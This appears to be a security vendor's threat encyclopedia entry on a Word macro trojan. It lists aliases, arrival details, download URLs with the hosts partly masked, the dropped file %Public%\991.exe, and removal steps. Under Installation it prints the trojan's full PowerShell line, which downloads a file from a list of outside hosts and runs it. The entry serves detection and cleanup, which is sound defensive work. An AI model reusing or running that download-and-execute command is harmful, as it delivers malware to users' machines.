Analysis by: Earle Maui Earnshaw

ALIASES:

TrojanDownloader:O97M/Donoff (Microsoft); W97M.Downloader (Norton); VBA/TrojanDownloader.Agent.KCV trojan (Nod32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 85,120 bytes
File Type: DOC
Memory Resident: Yes
Initial Samples Received Date: 24 Sep 2018
Payload: Connects to URLs/IPs, Displays graphics/image

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell $ctf=new-object Net.WebClient;$HRX='http://{BLOCKED}tmmpartners.com/wp-content/upgrade/QM6l6NaB5s@http://{BLOCKED}pesquisas.com.br/8oKnqiidQy@http://{BLOCKED}a.ma/tynNzPm2@http://{BLOCKED}ant.ir/gqyZzUW@http://{BLOCKED}art.ir/tByI3DhdP'.Split('@');$zDf = '991';$tXL=$env:public+'\'+$zDf+'.exe';foreach($ZSa in $HRX){try{$ctf.DownloadFile($ZSa, $tXL);Invoke-Item $tXL;break;}catch{}}

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}tmmpartners.com/wp-content/upgrade/QM6l6NaB5s
  • http://{BLOCKED}pesquisas.com.br/8oKnqiidQy
  • http://{BLOCKED}a.ma/tynNzPm2
  • http://{BLOCKED}ant.ir/gqyZzUW
  • http://{BLOCKED}art.ir/tByI3DhdP

It saves the files it downloads using the following names:

  • %Public%\991.exe

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • Shows the following:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.844.05
FIRST VSAPI PATTERN DATE: 01 Mar 2019
VSAPI OPR PATTERN File: 14.845.00
VSAPI OPR PATTERN Date: 02 Mar 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.W97M.POWLOAD.TIHAOHBY

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Public%\991.exe

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIHAOHBY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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